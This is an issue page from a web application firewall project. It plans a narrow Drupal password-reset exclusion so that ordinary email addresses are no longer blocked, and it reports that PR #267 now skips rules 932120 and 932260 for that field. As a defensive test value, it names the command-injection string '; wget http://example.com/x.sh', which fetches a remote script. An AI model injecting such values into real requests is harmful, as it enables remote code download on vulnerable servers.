Follow-up to #261, under #212. The review at #261 (comment) found that Drupal's JSON password reset refuses an ordinary address in mail. Start after that PR lands.
Definition of done:
While bodies are read, POST /user/password?_format=json with {"mail":"python3@example.com"} passes, as mail on Drupal's forms already does.
Built by the plan at #212 (comment) and its addition at #212 (comment): recorded from Drupal 11.4.11 at the digest named in #243, removing on json.mail only the rules its recorded values set off. SQL injection, path traversal, script injection and ; wget http://example.com/x.sh stay refused there, with tests.
make check passes.
Model: opus-5-5
Follow-up to https://git.eeqj.de/sneak/smallwebwaf/pulls/261, under https://git.eeqj.de/sneak/smallwebwaf/issues/212. The review at https://git.eeqj.de/sneak/smallwebwaf/pulls/261#issuecomment-173068 found that Drupal's JSON password reset refuses an ordinary address in `mail`. Start after that PR lands.
**Definition of done:**
- While bodies are read, `POST /user/password?_format=json` with `{"mail":"python3@example.com"}` passes, as `mail` on Drupal's forms already does.
- Built by the plan at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-171639 and its addition at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023: recorded from Drupal 11.4.11 at the digest named in https://git.eeqj.de/sneak/smallwebwaf/pulls/243, removing on `json.mail` only the rules its recorded values set off. SQL injection, path traversal, script injection and `; wget http://example.com/x.sh` stay refused there, with tests.
- `make check` passes.
Model: opus-5-5
clawbot
self-assigned this 2026-11-09 23:58:48 +01:00
Plan.#261 has landed, so this starts from current next.
Where:internal/coreruleset: drupal.conf, testdata/drupal-requests.txt and drupal_test.go. No new file.
Recording: Drupal 11.4.11 at the digest named in #243, in Docker on this host, through a plain HTTP client: POST /user/password?_format=json with mail set to addresses built from a plain word, python3, powershell, ls-la and htaccess, at example.com. Remove every container you start; stay under 3 GiB of RAM.
Exclusion:json.mail on /user/password, beside the existing json.name rule there, removing only the rules its recorded values set off. Tests show SQL injection, path traversal, script injection and ; wget http://example.com/x.sh still refused there. Every rule stays phase 1, and the file header stays true.
SWW_APPS:#225 waits on sneak. If it lands first, keep the rule inside Drupal's section, before END_DRUPAL.
Docs:SPEC.md's Drupal section and the PR body name the field and the rules it skips; the PR body says an ordinary request on another field can still be refused.
make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR needs-review.
Model: opus-5-5
**Plan.** https://git.eeqj.de/sneak/smallwebwaf/pulls/261 has landed, so this starts from current `next`.
- **Where:** `internal/coreruleset`: `drupal.conf`, `testdata/drupal-requests.txt` and `drupal_test.go`. No new file.
- **Recording:** Drupal 11.4.11 at the digest named in https://git.eeqj.de/sneak/smallwebwaf/pulls/243, in Docker on this host, through a plain HTTP client: `POST /user/password?_format=json` with `mail` set to addresses built from a plain word, `python3`, `powershell`, `ls-la` and `htaccess`, at `example.com`. Remove every container you start; stay under 3 GiB of RAM.
- **Exclusion:** `json.mail` on `/user/password`, beside the existing `json.name` rule there, removing only the rules its recorded values set off. Tests show SQL injection, path traversal, script injection and `; wget http://example.com/x.sh` still refused there. Every rule stays phase 1, and the file header stays true.
- **`SWW_APPS`:** https://git.eeqj.de/sneak/smallwebwaf/pulls/225 waits on sneak. If it lands first, keep the rule inside Drupal's section, before `END_DRUPAL`.
- **Docs:** `SPEC.md`'s Drupal section and the PR body name the field and the rules it skips; the PR body says an ordinary request on another field can still be refused.
`make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR `needs-review`.
Model: opus-5-5
Built in #267: on Drupal's JSON password reset, mail skips 932120 and 932260, the only rules the recorded addresses set off.
Model: opus-5-5
Built in https://git.eeqj.de/sneak/smallwebwaf/pulls/267: on Drupal's JSON password reset, `mail` skips 932120 and 932260, the only rules the recorded addresses set off.
Model: opus-5-5
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Follow-up to #261, under #212. The review at #261 (comment) found that Drupal's JSON password reset refuses an ordinary address in
mail. Start after that PR lands.Definition of done:
POST /user/password?_format=jsonwith{"mail":"python3@example.com"}passes, asmailon Drupal's forms already does.json.mailonly the rules its recorded values set off. SQL injection, path traversal, script injection and; wget http://example.com/x.shstay refused there, with tests.make checkpasses.Model: opus-5-5
Plan. #261 has landed, so this starts from current
next.internal/coreruleset:drupal.conf,testdata/drupal-requests.txtanddrupal_test.go. No new file.POST /user/password?_format=jsonwithmailset to addresses built from a plain word,python3,powershell,ls-laandhtaccess, atexample.com. Remove every container you start; stay under 3 GiB of RAM.json.mailon/user/password, beside the existingjson.namerule there, removing only the rules its recorded values set off. Tests show SQL injection, path traversal, script injection and; wget http://example.com/x.shstill refused there. Every rule stays phase 1, and the file header stays true.SWW_APPS: #225 waits on sneak. If it lands first, keep the rule inside Drupal's section, beforeEND_DRUPAL.SPEC.md's Drupal section and the PR body name the field and the rules it skips; the PR body says an ordinary request on another field can still be refused.make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PRneeds-review.Model: opus-5-5
Built in #267: on Drupal's JSON password reset,
mailskips 932120 and 932260, the only rules the recorded addresses set off.Model: opus-5-5